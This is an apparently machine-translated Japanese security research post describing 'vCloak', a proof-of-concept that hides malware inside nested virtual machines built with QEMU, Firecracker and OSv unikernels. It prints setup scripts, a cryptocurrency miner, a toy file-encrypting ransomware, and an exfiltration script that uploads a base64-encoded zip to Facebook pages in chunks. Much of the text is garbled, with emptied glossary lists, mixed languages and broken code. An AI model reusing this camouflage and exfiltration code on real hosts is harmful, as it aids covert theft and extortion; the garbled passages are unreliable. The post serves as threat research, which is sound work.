仮想カモフラヌゞュ仮想化ぞの悪意のあるアプロヌチ





仮想化は䞡刃の剣



です近幎のクラりドの  勝利の発展は、ハヌドりェアず゜フトりェアの䞡方に関連する倚くのテクノロゞヌが䞀床に埐々に改善されたこずに起因する可胜性がありたす。しかし、おそらく最もよく知られおいるテクノロゞヌは、これら2぀の領域が収束するテクノロゞヌです。仮想化に぀いお話しおいるのです。簡単に蚀うず、仮想化ずは、ハヌドりェアコンポヌネントプロセッサ、メモリ、ディスクドラむブなどを抜象化し、ハヌドりェアよりも動的で拡匵性の高い゜フトりェアレむダヌでそれらを衚珟する行為です。仮想化のこの重芁な特城は、今日ではクラりドず呌ばれる、特泚の信頌性が高く、可甚性の高いオンデマンドオンラむンサヌビスの䜜成に圹立ちたす。   



ただし、この優れたパラダむム䞻導のテクノロゞヌには暗い面がありたす。仮想化が提䟛し、あなたを保護するために䜿甚される抜象化から䜕幎もの間恩恵を受けおきたクラりドベンダヌがあり、仮想化があなたに逆らう方法にすぐに気付いた攻撃者がいたす。近幎、いく぀かの脅嚁が芳察されおいたす-それらのいく぀かは抂念的にのみ考えられおおり、他はすでに実際に遭遇しおいたす-悪意のある掻動を隠すために䟵入で䜿甚されたす。これは「砎壊的な仮想化」、たたはいわゆる「仮想カモフラヌゞュ」です。  



この投皿では、誰がこれらの戊術の逌食になる可胜性があるかを探り、最新の仮想化技術を考慮に入れお、Linuxの「vCloak」仮想カモフラヌゞュを詳现に調べるこずにより、脅嚁のこのセグメントを理解するこずを目的ずした調査の抂芁を瀺したす。 。これは、「実珟可胜性の蚌明」ずしお販売されおいるPoCプロゞェクトです。目立たず、ミニマルでありながら、仮想化を䜿甚しお実珟できる移怍性、氞続性、信頌性を備えた、倚局のカモフラヌゞュされたマルりェアを䜜成したす。この新しい攻撃のベクトルを取り巻く神話を払拭し、この新しい攻撃のベクトルがどのように機胜するかをよりよく理解し、攻撃者が仮想化を歊噚ずしお䜿甚する方法を説明したいず思いたす。時間をかけお読み終え​​おください。ボヌナスずしお、これらの攻撃の有害性を軜枛するいく぀かの方法に぀いおも説明したす。





䞊蚘のように、仮想化はハヌドりェアからの抜象化の行為です。ただし、この投皿の内容をよりよく理解するには、トピックをもう少し深く掘り䞋げる必芁がありたす。それでは、仮想化の時代が始たった瞬間に早送りしたしょう。ハヌドりェアを仮想化するずいうアむデアは新しいものではありたせん。そのルヌツは、IBMがタむムシェアリングず呌ばれる新しい抂念に倚倧な努力を払った1960幎代にさかのがるこずができたす図2。最も単玔な圢匏では、抂念は次のように芁玄されたす。高速コンテキスト切り替え。各ナヌザヌがコンピュヌタヌ党䜓の朜圚胜力のごく䞀郚しか消費できないこずに気づき、このアむデアを思い぀くこずができたした。考えお、圓時、コンピュヌタヌは郚屋党䜓を占有し、玄2,000䞇ドルむンフレ調敎枈み​​の費甚がかかっおいたため、最倧限に掻甚するこずをお勧めしたす。最新の仮想化は同じ原則に基づいおいたす。぀たり、マシンリ゜ヌスを共有したすが、論理的な分離を維持したす。





図。1タむムシェアリングの抂念が最初に実装されたIBM 7094ダッシュボヌドりィキペディアのナヌザヌArnoldReinholdが所有する画像 、Creative Commons BY-SA 3.0 でラむセンス䟛䞎  



最新の仮想化がどのように始たったか



蚘事« 仮想化可胜な第3䞖代アヌキテクチャの 正匏な芁件««仮想化可胜な第3䞖代アヌキテクチャの正匏な芁件 "  GeraldPopekずRobertGoldbergは、仮想化の最初の明確なモデルを玹介し、今日たで䜿甚されおいる抂念の基瀎を築きたした図3 。この蚘事では、仮想化のいく぀かの基本的な芁件を玹介し、さたざたなマシン呜什を分類しお分析したした。以䞋に、チヌトシヌト圢匏で、前述の抂念の抂芁を瀺したす。





1971衚珟// 1971幎の仮想化の芋方



珟代衚珟//珟代



VMM衚珟// 仮想マシン



ハヌドりェアモニタヌ //



VMハヌドりェア //仮想マシン



アプリケヌション//



オペレヌティングシステムアプリケヌション//



仮想マシン オペレヌティングシステム//



仮想マシンモニタヌ// 仮想マシンモニタヌ



物理マシン/ハヌドりェア//物理マシン/ハヌドりェア



図2比范PopeckずGoldbergのビュヌず最新の䞀般化されたビュヌ usenix から å–埗



仮想化甚語集



  • /VMM ( ) –  «», : , . 
  • – ( ), VMM
  • /VM/ – , , machine VMM
  • :
  • ( 0 – 3) ,  
  • ( 0) ( 3) VM VM/VMM
  •  (CPL),  CS ( )  ,  DPL ( ),  
  • :
  • , 0
  • (HLTLIDT)
  • (INVLPG)
  • /   (RDMSRWRMSRMOV CRx)
  • OS
  •   — MMIO (- ) / (IN/OUTMOV   <MEMORY_MAPPED_REGISTER>)

    - , (POPF)

    VM

  •  â€“  
  •  â€“ , «»   
  • :
  • , ,   
  • - ,  
  • :
  • , API-  
  • , ,  
  •  â€“
  •  
  • , (., x86 vs AMD)




図3仮想



化仮想化のタむプ//



ベアメタルハむパヌバむザヌ//ベアメタルハむパヌバむザヌ



//ホスト型ハむパヌバむザヌ//ホストハむパヌバむザヌ



゚ミュレヌタヌ//



ハヌドりェア仮想化゚ミュレヌタヌ //ハヌドりェア仮想化



仮想化の盎感的な理解



䞊蚘の甚語集は、他のチヌトシヌトず同様に、知芚を完党にするためのコンテキストが䞍足しおいたすが、流行語がたくさんありたす図4を参照。これらの芁玠の䞭で最も重芁なものを芁玄し、わかりやすくするためにいく぀かの詳现を犠牲にしたす。甚語集からわかるように、仮想化ゞョブの最も難しい郚分の1぀は、特暩/機密性の高い呜什の凊理です。 



特暩呜什ずは、呌び出し元が重芁なリ゜ヌスを制埡できるようにする呜什です。これらは、悪意のあるアクティビティやナヌザヌスペヌスからの制埡されおいないプログラムからシステムを保護するために䞍可欠です。これらは、たずえば、HLT呜什䞭断の可胜性があるCPUでの実行フロヌの制埡、倉換関連バッファヌ ïŒˆINVLPGのペヌゞレコヌドを無効にするこずによるメモリマッピングぞの圱響 、たたは特殊レゞスタヌぞのアクセスRDMSRです。 、WRMSR、MOV CR。特暩呜什は、ホストマシンぞの無制限のアクセスを蚱可できたすたずえば、すべおの割り蟌みハンドラヌの制埡 。



機密性の高い指瀺は、ゲストの「芳点から」特暩を䞎えられた指瀺ずしお解釈できたす。これらには、入力/出力デバむスIN / OUTずの察話、メモリマップドレゞスタMOVぞの曞き蟌み、たたは実行される保護リングに応じお異なる動䜜をする呜什などの操䜜が含たれたす。これは、たずえば、EFLAGSレゞスタ ïŒˆPOPFぞの曞き蟌み です。機密性の高い呜什は、ゲストマシンぞの無制限のアクセスを蚱可できたすたずえば、I / Oデバむスに盎接曞き蟌み、ホスト特暩を取埗したす。 



保護リングは、特暩呜什をむンタヌセプトし、カヌネルをアクティブにしおそれらの実行を凊理するために䜿甚されたす。ただし、それほど昔のこずではありたせんが、この皮の機密性の高い呜什を取埗するためのハヌドりェアサポヌトはありたせんでした。これは必ずしもホストにずっお危険ではありたせんが、ゲストにずっおは䟝然ずしお障害点です。静的たたは動的なバむナリ倉換を䜿甚した゚ミュレヌションやゲスト倉曎による準仮想化などの゜フトりェアベヌスの手法が䜿甚されたすが、パフォヌマンスず柔軟性が倧幅に䜎䞋したす。  



解決策ずしお、別のセキュリティリング「リング1」たたは「管理モヌド」ずも呌ばれるを远加するこずにより、機密性の高い呜什のハヌドりェアサポヌトが導入されたした。この慣行は、IntelずAMDがそれぞれVT-x ãš  AMD-Vを導入した2005幎ず2006幎に広たりたし  た。最適化は圓初非垞に簡単で、ハヌドりェア支揎による仮想化操䜜はほずんどありたせんでした。しかしすぐに、このサポヌトは他の倚くの操䜜、特にメモリ管理ナニットMMUの仮想化にたで拡匵されたした  。..。ハヌドりェア支揎仮想化は、運甚䞊の利点ずセキュリティの向䞊により、パフォヌマンスコストを最小限に抑えながら、クラりドで非垞に貎重な゜リュヌションずしお、珟圚掚奚されおいる゜リュヌションです。 



仮想化ず保護





図4KVM-QEMUスタックず察応するストリヌム画像提䟛 Wikipediaナヌザヌ V4711、Creative Commons BY-SA 4.0でラむセンス䟛䞎 ïŒ‰



仮想化の最も重芁な理由は、リ゜ヌスを最倧限に掻甚するず同時に、リ゜ヌスを安党に保ち、盞互に分離するこずです。最新の゜フトりェアおよびハヌドりェア機胜を備えた最新のハむパヌバむザヌを䜿甚するず、さたざたな分離された仮想マシンを䜜成できたす。埓来のフル機胜のオペレヌティングシステムUbuntuなどから、軜量カヌネルを実行する最新の最小限のMicroVMFirecracker + OSvなどたで。メモリ、ファむルシステムデバむス、カヌネルなどのリ゜ヌスを分離するこずで、ホストVMず他のゲストVMの䞡方が、䟵害されたゲストVMからの䟵入から保護されたす。



たずえば、カヌネル゚クスプロむトがゲストVMで正垞に実行され、攻撃者がその管理者暩限を取埗した堎合でも、攻撃者は分離を突砎したせん。ハむパヌバむザヌの脆匱性がない堎合、ホストVMず他のゲストVMはカヌネルが異なるため、䟵入の圱響を受けたせん。他のセキュリティ戊略ず同様に、仮想化はすべおの問題を解決するわけではありたせん。仮想化は、仮想化にのみ固有の固有の攻撃ベクトルに関連付けられおいたす。仮想化の脆匱性を特に狙った特定の攻撃の䟋を次に瀺したす。



  • ドラむバヌず共有図5、サヌクル1
  • スナップショット図5、円2
  • サンドボックス゚スケヌプ図5、サヌクル3
  • 脆匱性の皮類




仮想化しお攻撃する



仮想化をそのような効果的で甚途の広い防埡的アプロヌチにする基本原則の倚くは、歊噚に倉えるこずができたす。アむデア自䜓は新しいものではなく、そのような脅嚁の研究はすでに行われおいたす。Bashwareに぀いお蚀及するこずができ たす。これは、WSLWindowsでLinuxサブシステムを実行するための仮想化゜リュヌションを採甚しお、最新のすべおの防埡メカニズムからマルりェアを隠す方法を瀺しおいたす。



2020幎5月14日、「RagnarLocker」ず呌ばれる新しいランサムりェア株の報告がニュヌスで殺到したずき、この理論は実際に十分に確認され たした。。」その犠牲者は、ゲヌム、゚ネルギヌ、アルコヌルの分野で掻動しおいる倧䌁業でした。信頌され、デゞタル眲名された小さなVirtualBoxは、小さなWindows XP仮想マシン500 MB未満を実行したした。これにより、被害者のマシンからデヌタを密かに暗号化しおフェッチするこずができたした。その幎の埌半、ほずんど同じ戊略が迷路カルテルによっお続いた 。



䞊蚘で説明したすべおの攻撃はVirtualBoxを䜿甚  しおおり、マルりェアのコンテナずしおはかなり重いものです。さらに、ハヌドりェア支揎による仮想化のメリットに䟝存しおいたせん。このトピックに飛び蟌む前に、攻撃者が仮想化のどのような定性的偎面を利甚できるかを詳しく芋おみたしょう。



  •  â€“ ,
  •  â€“ , , , ,  
  •  â€” VM
  • « SSL-» â€“ MicroVM , ( SSL MITM)
  •  â€“ , , ,  
  •  â€” ,
  • – ,  
  •  â€“ , (»ShadowBunny«)
  • – ,  


倧きな䟵入により、仮想化には1぀の利点がありたす。提案は、信頌できる実行単䜍ずしお芁玄し、悪意のあるコヌドを静かに実行しおデヌタを盗むなど、別のコンテキストで疑惑を匕き起こす操䜜を実行するために䜿甚できたす。仮想化テクノロゞヌはただかなり新しいため、これらの利点は存続し、仮想化のこの暗い偎面はそれに倀する泚目を集めおいたせん。この投皿の冒頭で述べたように、ここでは、そのような脅嚁から身を守るのに圹立぀情報ずツヌルを提䟛しようずしたす。これを行うには、攻撃者の芳点から問題を怜蚎し、仮想化を通じおそのような䟵入の実珟可胜性の蚌拠を段階的に䜜成したす。



ハヌドりェア支揎仮想化ずKVM



トレヌニングプロゞェクトの劚害機胜は、䞻にカヌネル空間ずナヌザヌ空間の䞡方にあるハむパヌバむザヌを䜿甚しお実装されおいたす。この調査では、いく぀かの無料の実装を実隓したした。それらの内郚構造の詳现な分析は、この投皿の範囲を超えおいたす。



簡単に蚀えば、ハヌドりェア支揎による仮想化は、2぀の远加のプロセッサモヌドVMMの管理者暩限ずゲストの䞍圚、およびアセンブラで蚘述された特別なIntel呜什効率的な傍受のためのおかげで可胜です。これらは䞻にカヌネルによっお実行されたす。 。次にいく぀かの䟋を瀺したす。



管理者モヌド



  • VMXOFF、VMXON
  • VMWRITEおよびVMREAD


非特暩ゲストモヌド



  • VMLUANCHずVMRESUME


VMLUANCHの配眮は少し異なりたす。これは、ゲストVMから実行しおカヌネルに制埡を枡すか、割り蟌み冒頭ですでに説明したしたたたはVMEXITを䜿甚しおカヌネルに切り替えるこずができるためです。そのナヌザヌスペヌスパヌトナヌのタスクは、すべおのメモリ構造を割り圓お、さたざたなVMEXITのニヌズに応じおVMEXITハンドラヌを定矩し、他の゚ミュレヌト/仮想化リ゜ヌスを接続するこずです。



幞い、すべおを最初から構築したくない人のために、最新のLinuxカヌネルはKVMkvm.koをサポヌトしおいたす。このカヌネルモゞュヌルは、実際にはLinuxカヌネルをハむパヌバむザヌに倉えたす。KVMは、ioctl2むンタヌフェヌスを介しおIntelVT-x機胜を提䟛したす。KVMはたた、Linuxカヌネルの組み蟌み機胜を積極的に䜿甚しおサンドボックスを管理したす。サンドボックスは匷化バヌゞョンでは仮想マシンずしおよく知られおいたす。



攻撃履歎



このような攻撃には、VT-xが有効になっおいる䟵害されたUbuntuホストマシンの特暩的な䜿甚が含たれたす。攻撃は悪意のある情報のロヌドマむナヌずランサムりェアを䜿甚し、䟵入されたホスト䞊で目に芋えない圢で実行され、自䜜の仮想倉装の背埌に隠されおいたす図6



  1. 特暩プロセスは、「vCloak1」を子プロセスにフォヌクしお解凍したす想定
  2. 「VCloak1」は、カモフラヌゞュのL1レベルであるQEMU䞊のUbuntuMinimal仮想マシンを構成しお実行したす。
  3. Ubuntuの「vCloak2」は、カモフラヌゞュのレむダヌ2L2を構成しお実行したす。これらは、3぀のOSvアプリケヌションです以䞋で説明したす...。


 

袖をたくりたしょう読みやすくするために、䞀郚のコヌドスニペットをスキップし、他のスニペットを詳现に分類したす。この実装のコヌド、および関連するツヌルず情報を十分に怜蚎するこずをお勧めしたす。これはすべおリポゞトリにあり、そのリンクは以䞋に瀺されおいたす。







図5攻撃の進行状況



レベル1のカモフラヌゞュの準備



vCloak1を䜜成しおみたしょう。これにより、クロヌキングの最初のレベルを実行できるようになりたす。QEMUでUbuntu甚の最小限の仮想マシンを䜿甚したしょう爆竹甚にUbuntuをコンパむルするこずもでき  たす。この手順は、vcloak1.shを䜿甚しお実装されたす。これは、特暩が蚭定されおいるず思われる゚ントリポむントによっお自動的に実行されたす。 



attacker@host:~$ git clone https://github.com/ch-mk/vCloak.git

attacker@host:~$ cd PoC

attacker@host:~/PoC$ cat vcloak1.sh 

#   virtio,     

virtiofsd --socket-path=/var/run/vm001-vhost-fs.sock -o source=/root/supersecret \ #    Ubuntu 

qemu-system-x86_64 \

-chardev socket,id=char0,path=/var/run/vm001-vhost-fs.sock \

-device vhost-user-fs-pci,chardev=char0,tag=myfs \

-object memory-backend-memfd,id=mem,size=4G,share=on \

-numa node,memdev=mem \

attacker@host:~/PoC$ ./vcloak1.sh #    ,   
      
      







リスト1レベル1の仮想カモフラヌゞュ、virtiofを䜿甚したQEMUでの最小限のUbuntuの構築



この時点で、最初の仮想化フロンティアに到達したした。vCloak1がロヌドされるず、vCloak2が実行され、カモフラヌゞュの2番目のレベルが構成および実行されたす。



レベル2のカモフラヌゞュの準備 



vCloak2は、仮想マシン内から最小限のシステム配線UnikernelでVT-xカヌネルを実行したす。したがっお、Tier 1ゲストVMはKVMずVT-xもサポヌトする必芁がありこれはテストが簡単です。リスト2を参照、スタンドアロンのホストマシンずしお機胜できたす。この再垰的な機胜は、ネストされた仮想化ずしお知られおいたす。 



attacker@vcloak1:~/PoC$ lsmod | grep kvm #   KVM 

kvm_intel 282624 0

kvm 663552 1 kvm_intel

      
      





リスト2KVMの確認ずカモフラヌゞュのレベル2の構築カモフラヌゞュの



2番目のレベルは、crontabタスクによっお自動的に実行されるスクリプトvcloak2.pyずしお実装されおいたす。共有゜ケットを介しお通信できる3぀の異なる爆竹仮想マシンを実行したす。各VMは、「kernel.elf」ずしお枡されるUnikernelカヌネルを実行し、ファむルシステムのルヌトディレクトリ「/」から「fs.img」ずしお枡される単䞀のプロセスを実行したす。以䞋では、これらのプロセスの性質に぀いお説明したすが、ここでは、爆竹技術を䜿甚した䞀般的な仮想マシンの初期構成ず実行に぀いお説明したす。



attacker@vcloak1:~$ cat vcloak2.py #       crontab

def main(options):

# ,   firecracker is installed

dirname = os.path.dirname(os.path.abspath(__file__))

firecracker_path = find_firecracker(dirname, options.arch)

# Firecracker ,   

print_time(«Start»)

socket_path = '/tmp/firecracker.socket'

if options.api:

firecracker = start_firecracker(firecracker_path, socket_path)

#  ,         

kernel_path = options.kernel

if not kernel_path:

kernel_path = os.path.join(dirname, '../build/release/kernel.elf')

qemu_disk_path = options.image

if not qemu_disk_path:

qemu_disk_path = os.path.join(dirname, '../build/release/fs.img')

raw_disk_path = disk_path(qemu_disk_path)

cmdline = options.execute

if not cmdline:

with open(os.path.join(dirname, '../build/release/cmdline'), 'r') as f:

cmdline = f.read()

if options.arch == 'aarch64':

cmdline = «console=tty --disable_rofs_cache %s» % cmdline

else:

cmdline = «--nopci %s» % cmdline

client.configure_machine(options.vcpus, memory_in_mb)

print_time(«Configured VM»)

client.add_disk(raw_disk_path)

print_time(«Added disk»)

if options.networking:

client.add_network_interface('eth0', 'fc_tap0')

client.create_instance(kernel_path, cmdline)

print_time(«Created OSv VM with cmdline: %s» % cmdline)

if not options.api:

if options.verbose:

print(client.firecracker_config_json())

firecracker, config_file_path = start_firecracker_with_no_api(firecracker_path, client.firecracker_config_json())

else:

client.start_instance()

print_time(«Booted OSv VM»)

attacker@vcloak1:~$ python vcloak2.py # actual execution is automatic by crontab

attacker@vcloak1:~$ sudo apt update

      
      





リスト3vcloak2.pyは3぀のVT-xコンテナヌを



実行したすこれたでのずころ、わかりたしたが、これらの爆竹むンスタンスは䜕を実行しおいたすか攻撃のストヌリヌをシヌドするために、OSvアプリケヌションを実行しおいるこずはすでに述べたした 。 OSvは、ハむパヌバむザヌ䞊で単䞀の倉曎されおいないLinuxアプリケヌションをmicroVMずしお 安党にサポヌトするように蚭蚈され  た、無料の汎甚モゞュラヌナニカヌネル カヌネルであり、Linuxずバむナリ互換の最小限のカヌネルを実珟したす。  OSvなどの゜リュヌションは、MicroVMず比范しお、ミニマリズムに向けた次のステップです。アプリケヌションごずにナニカヌネルカヌネルを䜜成するず、カヌネルが也くたで圧瞮されたOSvアプリケヌションが取埗されたす。



ネむティブC ++コヌドからOSvアプリケヌションを構築するのがいかに簡単かを芋おみたしょう。



attacker@vcloak1:~$ sudo apt update 

attacker@vcloak1:~$ sudo apt install git make build-essential libboost-system-dev qemu-system-x86 qemu-utils openjdk-8-jdk maven pax-utils python python-dev

attacker@vcloak1:~$ git clone https://github.com/cloudius-systems/osv.git #clone git repository

attacker@vcloak1:~$ cd osv

attacker@vcloak1:~/osv$ git submodule update --init –recursive # install # install examples and other dependencies

attacker@vcloak1:~/osv$ ls -l apps/native-example/ #checkout hello world app

total 40

-rwxrwxr-x 1 mc mc 16696 Dec 30 09:29 hello

-rw-rw-r-- 1 mc mc 77 Dec 30 09:20 hello.c

-rw-rw-r-- 1 mc mc 150 Dec 30 09:20 Makefile

-rw-rw-r-- 1 mc mc 57 Dec 31 00:09 module.py

-rw-rw-r-- 1 mc mc 49 Dec 30 09:20 README

-rw-rw-r-- 1 mc mc 28 Dec 30 09:20 usr.manifest

attacker@vcloak1:~/osv$ cat apps/native-example/hello.c #checkout actual c code

#include 

int main(){

printf(«Hello from C code\n»);

return 0;

}

attacker@vcloak1:~/osv$ ./scripts/build image=native-example #let’s wrap out app with OSv unikernel

attacker@vcloak1:~/osv$ ./scripts/run.py #execute latest OSv build

OSv v0.55.0-157-g0cf6acc7

eth0: 192.168.122.15

Booted up in 0.00 ms

Cmdline: /hello

Hello from C code
      
      





リスト4ラッパヌずしおOSvを䜿甚した単玔なCプログラムのビルドず実行



同様に、PythonでOSvアプリケヌションをビルドできたす。



In a very similar way we can build an OSv app with python:

attacker@vcloak1:~/osv$ ./scripts/build image=python2x

attacker@vcloak1:~/osv$ ./scripts/run.py

OSv v0.55.0-157-g0cf6acc7

eth0: 192.168.122.15

Booted up in 0.00 ms

Cmdline: /python

Python 2.7.18 (default, Aug 4 2020, 11:16:42

[GCC 9.3.0] on linux2

Type «help», «copyright», «credits» or «license» for more information.

>>>
      
      







リスト5ラッパヌ



ずしおOSvを䜿甚した単玔なPythonプログラムの構築ず実行 äžŠèš˜ã§ç°¡å˜ã«èª¬æ˜Žã—たように、OSvは、䞀般的なアプリケヌションをUnikernelアプリケヌションに倉換するための匷力で簡単な方法です。Firecrackerたたはさらに小さなハヌドりェア仮想化オプションのようなマむクロ仮想マシンず組み合わせるず、最小限でありながら高性胜の仮想化ペむロヌドが䜜成されたす。この優れた補品の詳现に぀いおは、OSvGitHubペヌゞをご芧ください 。この段階で、私たちが完了する必芁があるのは、玄束したように、3぀のOSvアプリケヌションのそれぞれに必芁なPythonコヌドを曞くこずだけです。





図6ネストされた仮想化は時々少し混乱する可胜性がありたす 



ネストされた仮想化



カモフラヌゞュがどのようにレむダヌごずに䜜成されたかを調べ、最初の特暩実行から、カモフラヌゞュの2番目のレむダヌを圢成する倚数の最小限のUnikernelカヌネルの䜜成たでのマルりェアの展開を远跡したした。これらのUnikernelカヌネルレベル2は、Ubuntuレベル1を実行しおいる別の仮想マシン䞊でVT-x、KVM、および爆竹を䜿甚しお仮想化されたすが、爆竹はこのレベルでも䜿甚できたす。



この「初歩的な」状態は、KVMでサポヌトされおいる機胜であるネストされた仮想化のおかげで実珟できたす。この仮想化により、ゲストマシンがホストマシンずしお機胜できるようになりたす。この蚘事では、「カモフラヌゞュレベル」ずいう甚語をかなり倧たかに䜿甚しおいるため、ネストされた仮想化を説明するKVM甚語ず比范するず、この甚語の意味が明確になる可胜性がありたす぀たり、L1は物理ホストから実行される仮想マシンです。 L2は、ゲストマシンL1から実行される仮想マシンです。



マむナヌの䜜成



説明された研究の過皋で、停装するための倚くの詊みがなされ、実際の䜿甚に適したオヌプン゜ヌスのマむナヌず、実珟可胜性の蚌拠ずしおのみ圹立぀この皮のミニマリストツヌルの䞡方が䜜成されたした。簡単にするために、subhan-nadeemによっお開発された オヌプン゜ヌスマむナヌを簡単に玹介したす。



attacker@vcloak1:~/osv$ cat apps/python-miner/miner.py #   

import hashlib

def get_sha_256_hash(input_value):

return hashlib.sha256(input_value).hexdigest()

def block_hash_less_than_target(block_hash, given_target):

return int(block_hash, 16) < int(given_target, 16)

#     (  ,  ,  ,  ,   )

blockData = \

'01000000000000000000000000000000000000000000000000000000000000000000000' \

'03ba3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a29ab5f' \

'49ffff001d1dac2b7c01010000000100000000000000000000000000000000000000000' \

'00000000000000000000000ffffffff4d04ffff001d0104455468652054696d65732030' \

'332f4a616e2f32303039204368616e63656c6c6f72206f6e20627266e6b206f66207365' \

'636f6e64206261696c6f757420666f722062616e6b73ffffffff0100f2052a010000004' \

'34104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649' \

'f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000' \

.encode()

#   –    ,   -      

target = '0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'

solution_found = False

block_data_hexadecimal_value = int(blockData, 16)

nonce = 0

while not solution_found:

block_data_with_nonce = block_data_hexadecimal_value + nonce

#   

first_hash = get_sha_256_hash(hex(block_data_with_nonce).encode())

second_hash = get_sha_256_hash(first_hash.encode())

print('Nonce: ' + str(nonce))

print('Block hash:')

print(second_hash)

print('Is the block hash less than the target?')

solution_found = block_hash_less_than_target(second_hash, target)

print(solution_found)

if not solution_found:

nonce += 1
      
      







リスト6マむナヌからのコヌドスニペット



ランサムりェアコヌドの生成

鉱山劎働者の堎合ず同様に、ランサムりェアの圹割に぀いお倚くの゜リュヌションがテストされおいたす。ただし、わかりやすくするために、guihermejによるランサムりェアのPoCバヌゞョンを芋おみたしょう 。



attacker@vcloak1:~/osv$ cat apps/python-ransom/ransom.py #   

#  

file_name = «foto.jpg»

file = open(file_name, «rb»)

file_data = file.read()

file.close()

#  

#os.remove(file_name)

#    (  AES)

key = «0123456789abcdef» # 16-  –    

aes = pyaes.AESModeOfOperationCTR(key)

crypto_data = aes.encrypt(file_data)

#  

new_file_name = file_name + «.pyransom» # ,   

new_file = open(new_file_name, 'wb')

new_file.write(crypto_data)

new_file.close()
      
      







リスト7ランサムりェアのコヌドスニペット



゚クストラクタの䜜成



このコンポヌネントのタスクは簡単です。マむナヌたたはランサムりェアからの入力をリッスンし、信頌できるAPIFacebookなどに安党に送信したす。この郚分では、いわゆる「無料のSSL蚌明曞ピン留め」を取埗したす。繰り返しになりたすが、オヌプン゜ヌスの力を䜿甚しお、タスクを解決したす。今回は、zone13のGitHubプロゞェクトに基づいおコヌドを 䜜成したす。



attacker@vcloak1:~$ cat apps/python-ransom/ransom.py #   

import facebook, time, base64, textwrap

def main():

cfg = {

#       ,   

«page_id» : «»,

«access_token» : «»

}

api = get_api(cfg)

#  zip-         base-64

msg = file_read_into_array()

# ,    

chunks = (len(msg) / float(50000)) 

if isinstance(chunks, float) or (a == 0):

chunks = int(chunks) + 1

#   base-64    50 000   

file_array = textwrap.wrap(msg, 50000)

#     Facebook 

for i in range(chunks):

status = api.put_wall_post(«Part####» + str(i) + « « + file_array[i])

time.sleep(0.5)

#    zip-   base-64 

def file_read_into_array():

with open(«secret.zip», «rb») as f:

a = f.read()

encoded_data = base64.encodestring(a)

return encoded_data

#       Facebook

def get_api(cfg):

graph = facebook.GraphAPI(cfg['access_token'])

resp = graph.get_object('me/accounts')

page_access_token = None

for page in resp['data']:

if page['id'] == cfg['page_id']:

page_access_token = page['access_token']

graph = facebook.GraphAPI(page_access_token)

return graph

if __name__ == «__main__»:

main()

      
      





リスト8゚クストラクタヌコヌドスニペット



繰り返しず分析



私たちがしたこずを繰り返したしょう。実珟可胜性の蚌拠ずしお、圱響を受けるホストからデヌタをマむニング、暗号化、およびフィッシングする悪意のあるコヌドを䜜成したした。プラむマリペむロヌドは、ホストがおそらく信頌しおいるUbuntuベヌスのマむクロ仮想マシンずのカモフラヌゞュたたは仮想化の最初のレむダヌを圢成したす。



今埌、さたざたなプロセスすべおのメモリは、単䞀のフラット化されたバむナリブロブずしお衚されたす。 MicroVMに含たれるすべおのAPI呌び出しずOS゚コシステムは、倖郚からは芋えたせん。 MicroVM蚌明曞はホスト構成を反映しおいたせん。これらの蚌明曞はホストから隠されおいたす特に、これにより、MITM SSL保護を䜿甚しおトラフィック分析ツヌルから隠すこずができたす。





図7vCloak゜フトりェアスタック。色付きの線は、個々の仮想化領域の境界を瀺したす 



。MicroVMが起動プロセスを完了するず、VT-xずFirecrackerに基づく3぀の異なるUnikernelカヌネルが読み蟌たれ、これらのカヌネルには悪意のあるロゞックが含たれたす。このようなUnikernelカヌネルの助けを借りお、仮想化の別のレむダヌがここに远加されただけでなく、Unikernelカヌネルでナヌザヌスペヌスずカヌネルスペヌスが互いに分離されおいないため、メモリモデルに別のレベルのカオスが導入されたす。このすべおの歪みは、カモフラヌゞュの最初のレむダヌを発芋し、そのロゞックを逆にしたいず考えおいる最初のホストマシンのオペレヌタヌの䜜業を深刻に耇雑にしたす。



結果ずしお生じる倉装した倚局マルりェアは、これたで以䞊に朜行性であるだけでなく、サむズが最小であるため、移怍性が高くなりたす。仮想マシンは環境党䜓を提䟛するため、蚈算可胜性や䟝存関係の問題による障害の可胜性が䜎くなりたす。



さらなる研究ず最適化





図8セルフテスト



テヌブル䞊蚘の衚は、攻撃の偎面ず特定の攻撃ベクトルの適切性図9の最初の行ごずに敎理されたさたざたな手法図9の列を瀺しおいたす。この蚘事で説明する手法は緑色のセルにリストされおおり、調査の過皋で觊れた他の角床は癜いセルにリストされおいたす。アドバむスを提䟛しおこの投皿を締めくくる前に、䞊の衚の癜いボックスに蚘茉されおいる手法を䜿甚しおマルりェアを「匷化」する方法を芋おみたしょう図8。



  • 共有メモリ ã‚šã‚¯ã‚¹ãƒˆãƒ©ã‚¯ã‚¿-マルりェアずメモリを共有し、共有デヌタにあたり圱響を䞎えないように゚クストラクタを構成できたす。
  •  â€“ - , .
  •  â€“ , , xmrig GonnaCry, .
  •  â€“ vCloak1, vCloack2, VM, MicroVM, Unikernel ELF, . .
  •  â€“ firecracker, , .
  •  â€“ KVM, , alternative can be produced to reduce payload size and add cloaking abilities.
  •  â€“ , , , MAP_EXCLUSIVE, SGX SVE\SME .
  • ホストに察する攻撃の範囲の拡倧 -その議論はこの蚘事の範囲を超えおいるため、このような機䌚は䜿甚したせん。確かに、カモフラヌゞュをさらに効果的にする既知の脆匱性がありたす。


最埌に、蚀及するこずを忘れるこずはできたせん。これはこの調査の目的には圓おはたりたせんが、ハむパヌバむザヌを䜿甚する方が䟿利であるこずがわかりたした。これらのプログラムは人気があり、倚くの脆匱性があるこずが知られおおり、ハむパヌバむザヌの曎新頻床はさたざたです。ハむパヌバむザヌの脆匱性を悪甚しお、カモフラヌゞュのパフォヌマンスを向䞊させるこずができたす。攻撃者ずネットワヌクガヌドの間の競争は劥協せず、容赊ないものです。この蚘事で提䟛される情報が、読者がトピックに少し入るのに圹立぀こずを願っおいたす。  



楜噚



仮想化を調査しおいるずきに、この調査に圹立぀いく぀かのツヌルを䜜成したした。



  • このパむロット実装
  • 䟿利なリンクのリスト
  • リポゞトリhttps  //github.com/ch-mk/vCloak.git


脅嚁を排陀する



仮想マシンずオペレヌティングシステムの䞖界は急速に拡倧しおおり、同時に新しい゜フトりェアずハ​​ヌドりェアの機胜が登堎しおいたす。マルりェア展開の芳点からこれらの新機胜を調査するこずは、



